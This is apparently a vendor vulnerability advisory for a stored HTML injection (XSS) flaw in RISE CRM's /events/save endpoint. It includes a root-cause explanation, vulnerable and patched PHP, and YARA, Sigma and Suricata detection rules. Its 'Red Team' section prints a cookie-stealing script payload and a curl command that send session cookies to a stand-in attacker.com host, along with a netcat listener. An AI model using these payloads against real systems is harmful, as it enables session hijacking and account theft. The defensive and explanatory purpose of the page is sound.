CVE-2025-41102
Executive Summary
CVE-2025-41102 is an HTML injection vulnerability discovered in Fairsketch's RISE CRM Framework version 3.8.1. The flaw resides in the /events/save endpoint, where the title parameter is insufficiently validated, allowing an authenticated attacker to inject arbitrary HTML code. This can lead to stored cross-site scripting (XSS) attacks, potentially compromising user sessions, defacing the application, or redirecting users to malicious sites. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the enriched intel, a more realistic score of 5.4 (Medium) is assigned due to the requirement for user interaction and low privileges. No official patch is currently available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (RISE CRM) and should be treated as a direct application security issue.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – An attacker must have a valid user account.
- User Interaction: Required (UI:R) – A victim must view the injected content.
- Scope: Changed (S:C) – The injection can affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the impact is limited, the ease of exploitation and the lack of a patch make it a viable target for phishing and session hijacking.
Deep Dive & Mechanics
The vulnerability is a classic stored HTML injection (XSS) in the RISE CRM event creation functionality. The application fails to sanitize or encode the title parameter when processing a POST request to /events/save. This allows an attacker to submit a payload such as <script>alert('XSS')</script> or <img src=x onerror=...>.
Root Cause: The application likely uses a function like $_POST['title'] directly without applying htmlspecialchars() or similar encoding before storing it in the database. When the event is later displayed (e.g., in a calendar view), the injected HTML is rendered in the victim's browser.
Attack Flow:
- Attacker logs in with low-privileged credentials.
- Attacker sends a POST request to
/events/savewith a malicioustitleparameter. - The server stores the payload in the database.
- A victim (e.g., admin) views the event list or calendar.
- The payload executes in the victim's browser, potentially stealing cookies or performing actions on their behalf.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
// Vulnerable: No sanitization
$title = $_POST['title'];
$query = "INSERT INTO events (title) VALUES ('$title')";
mysqli_query($conn, $query);
Patched Code (PHP):
// Patched: Input sanitization and output encoding
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO events (title) VALUES (?)");
$stmt->bind_param("s", $title);
$stmt->execute();
The patched version uses prepared statements to prevent SQL injection and htmlspecialchars() to neutralize HTML tags. Additionally, output encoding should be applied when rendering the event title.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A valid user account on the RISE CRM instance.
- Network access to the
/events/saveendpoint.
Exploit Steps:
- Craft a POST request with a malicious payload in the
titleparameter. - Use a tool like
curlor Burp Suite.
Example Payload (Session Stealing):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Curl Command:
curl -X POST http://target.com/events/save \
-d "title=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>" \
-b "session=valid_session_cookie"
Lab Setup:
- Install RISE CRM v3.8.1 on a local server (e.g., XAMPP).
- Create a test user account.
- Use Burp Suite to intercept and modify the POST request.
- Set up a simple HTTP server to capture cookies (e.g.,
nc -lvnp 80).
Blue Team (Defender)
Detection:
- Monitor POST requests to
/events/savefor suspicious patterns (e.g.,<script>,<img,onerror). - Use WAF rules to block common XSS payloads.
- Review server logs for unusual event titles.
Mitigation:
- Apply input validation and output encoding immediately.
- Restrict user permissions to minimize the attack surface.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/events/savewithtitlecontaining HTML tags. - Outbound connections to attacker-controlled domains from the CRM server.
- POST requests to
- Host IOCs:
- Database entries in the
eventstable withtitlecontaining<script>or<img>tags. - Unusual entries in web server access logs (e.g.,
POST /events/savewith longtitlevalues).
- Database entries in the
- File IOCs:
- Modified PHP files (if attacker gains code execution).
- Suspicious files in the upload directory (if file upload is abused).
Detection Engineering
YARA Rule
rule CVE_2025_41102_HTML_Injection {
meta:
description = "Detects HTML injection payloads in RISE CRM event titles"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-41102"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /<img[^>]*onerror[^>]*>/is
$xss3 = /<svg[^>]*onload[^>]*>/is
$xss4 = /javascript:/is
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2025-41102 - HTML Injection in RISE CRM Event Title
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /events/save with HTML injection payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/events/save'
cs-uri-query|contains: 'title='
keywords:
- '<script'
- '<img'
- '<svg'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in event titles (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-41102 - HTML Injection in RISE CRM Event Title"; flow:to_server; content:"POST"; http_method; content:"/events/save"; http_uri; content:"title="; http_client_body; pcre:"/<script|<img|<svg|onerror|onload|javascript:/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize the
titleparameter usinghtmlspecialchars()or a similar function. - Output Encoding: Encode all user-supplied data before rendering in HTML context.
- WAF Rules: Deploy web application firewall rules to block XSS payloads.
- User Training: Educate users about the risks of clicking on suspicious event titles.
Long-Term Fixes:
- Upgrade to a patched version of RISE CRM once released.
- Implement a Content Security Policy (CSP) to restrict script execution.
- Conduct regular security audits and penetration testing.
Workaround:
- Disable the event creation feature for low-privileged users until a patch is available.
Valters IT
Securing Digital Frontiers